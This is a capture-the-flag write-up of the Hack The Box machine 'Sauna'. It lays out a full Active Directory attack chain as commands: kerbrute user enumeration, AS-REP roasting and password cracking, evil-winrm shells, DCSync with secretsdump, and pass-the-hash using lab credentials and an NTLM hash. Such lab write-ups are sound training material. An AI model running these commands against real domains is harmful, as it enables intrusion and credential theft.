> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/red-teaming/hack-the-box/ad/sauna.md). # Sauna kerbrute, ASREProast, DCSync ## IP * LHOST: 10.10.14.15 * RHOST: 10.129.95.180 ## Nmap Port scan: ``` PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl ``` Script scan: ``` PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-10 16:55:50Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2022-07-10T16:56:17 |_ start_date: N/A |_clock-skew: 7h00m00s ``` Full scan: ``` PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49676/tcp open unknown 49694/tcp open unknown 49719/tcp open unknown Making a script scan on extra ports: 5985, 9389, 49667, 49673, 49674, 49676, 49694, 49719 PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49676/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49719/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` ## Port 445 (crackmapexec) Enumerate SMB shares with crackmapexec: ```shell crackmapexec smb $IP --shares ``` Here we learn that the NetBIOS name is `sauna` and the domain is `egotistical-bank.local`: ![crackmapexec smb enumeration](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FbF0YvLHE8IuEY0emY0Jx%2Fcrackmapexec%20smb%20enumeration.png?alt=media\&token=559de9a9-89fb-410e-80d1-4692fb191693) ## Port 80 (username enumeration) Recall that crackmapexec found a domain name: ``` egotistical-bank.local ``` Add the following entry to `/etc/hosts`: ``` 10.129.181.201 egotistical-bank.local ``` In "About Us", we found a list of potential usernames: ![potential usernames](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fduu7GdD3E2a353WNpVf3%2Fpotential%20usernames.png?alt=media\&token=51b9db3e-dd04-4bea-a547-055340317e87) Write down a list of possible usernames and save them as `users.txt`: ``` fsmith scoins hbear btaylor sdriver ``` This `[firstname initial][lastname]` username pattern is commonly used in HTB boxes. In real world, you may want to generate a list of potential usernames based on emails or company policy. ## Port 88 (kerbrute) Enumerate valid usernames with kerbrute: ```shell kerbrute userenum -d egotistical-bank.local --dc $IP users.txt ``` Here we found a valid username `fsmith@egotistical-bank.local`: ![kerbrute](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2F1CINyi2aTz7TG1asLdIT%2Fkerbrute.png?alt=media\&token=354be500-c985-413d-b990-64ea9afb80bf) Update `users.txt`: ``` fsmith ``` ## Foothold (ASREProast) Now we have a valid username `fsmith` and we don't know his password. In such scenario, we can try ASREProast in order to get a TGT ticket and crack it offline. To learn the theory behind ASREProast, read the following post: {% embed url="" %} How To Attack Kerberos 101 {% endembed %} ASREProast with GetNPUsers: ```shell impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip $IP ``` Note that the `/` in `egotistical-bank.local/` is required, otherwise GetNPUsers won't recognize the string as a domain. It works: ![GetNPUsers](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FNvYqpdgQoaWrqerKA6rB%2FGetNPUsers.png?alt=media\&token=0c43ac8b-5496-457b-9cb1-8b5949cf265c) Save the hash to a file named `hash.txt`: ```shell impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip $IP -outputfile hash.txt ``` Crack the TGT ticket with John: ```shell john-rockyou hash.txt ``` The plaintext password is `Thestrokes23`: ![John](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FzcVSFfsAOhPjWukIaDrB%2FJohn.png?alt=media\&token=b770143a-66bc-4f9b-8330-207e53fd8301) Since port 5985 is open and we have a valid credential `fsmith:Thestrokes23`, we can get shell with Evil-WinRM: ```shell evil-winrm -i $IP -u fsmith -p Thestrokes23 ``` Get a user shell as `fsmith`: ![user shell](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FIo4RUwZXKv9cut4gO9gI%2Fuser%20shell.png?alt=media\&token=42d677f0-2934-4181-99c6-bad9ed6d7bdc) ## Lateral Movement (winPEAS) Upload winPEAS via Evil-WinRM `upload` command and run it: ```powershell cd C:\Windows\Tasks upload /usr/share/windows-resources/winPEAS/winPEASx64.exe .\winPEASx64.exe ``` winPEAS found an AutoLogon credential `svc_loanmanager:Moneymakestheworldgoround!`: ![winPEAS](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FISe0sjurQ295jyr1uvOs%2FwinPEAS.png?alt=media\&token=da36f45b-90af-48d8-ae23-e0860bf48a79) However, the user `svc_loanmanager` does not exist. Further enumeration shows that there exists a user `svc_loanmgr`: ![net user](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FyoLSq0PTNnehez9ZhMML%2Fnet%20user.png?alt=media\&token=ca1b3370-b0eb-422b-8e38-40a85b92a3c0) Try getting shell with credential `svc_loanmgr:Moneymakestheworldgoround!` via Evil-WinRM: ```shell evil-winrm -i $IP -u svc_loanmgr -p Moneymakestheworldgoround! ``` Get shell as `svc_loanmgr`: ![lateral movement](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fm304tPEWC47KP3ezu2Xp%2Flateral%20movement.png?alt=media\&token=09218887-04d1-4901-98fb-72950e554cef) ## Privilege Escalation (DCSync) Upload adPEAS via Evil-WinRM `upload` command and run it: ```powershell cd C:\Windows\Tasks upload /usr/share/windows-resources/adPEAS/adPEAS.ps1 . .\adPEAS.ps1 Invoke-adPEAS ``` adPEAS found that `svc_loanmgr` has DCSync rights: ![adPEAS](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FQmqMOc75jJf4k7jTKSw6%2FadPEAS.png?alt=media\&token=1fb340c5-1218-4b94-b947-362b69ab9b7d) Since we know the credential of `svc_loanmgr`, we can do DCSync with secretsdump from Kali: ```shell impacket-secretsdump 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!'@$IP ``` secretsdump found Administrator's NTLM hash: ![secretsdump](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FMSUKVj92eHl1wEY56qVM%2Fsecretsdump.png?alt=media\&token=13c57cdd-e2a2-42e9-97be-f3c20df6a426) The NTLM hash is: ``` 823452073d75b9d1cf70ebdf86c7f98e ``` Recall that Evil-WinRM can do pass the hash, therefore we don't have to crack this hash. Try pass the hash with Evil-WinRM: ```shell evil-winrm -i $IP -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e ``` Get SYSTEM shell: ![SYSTEM shell](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fng6lKYmXf00hhEyvgxRv%2FSYSTEM%20shell.png?alt=media\&token=ae0b8b88-8dca-4e53-8de4-d728902fad32)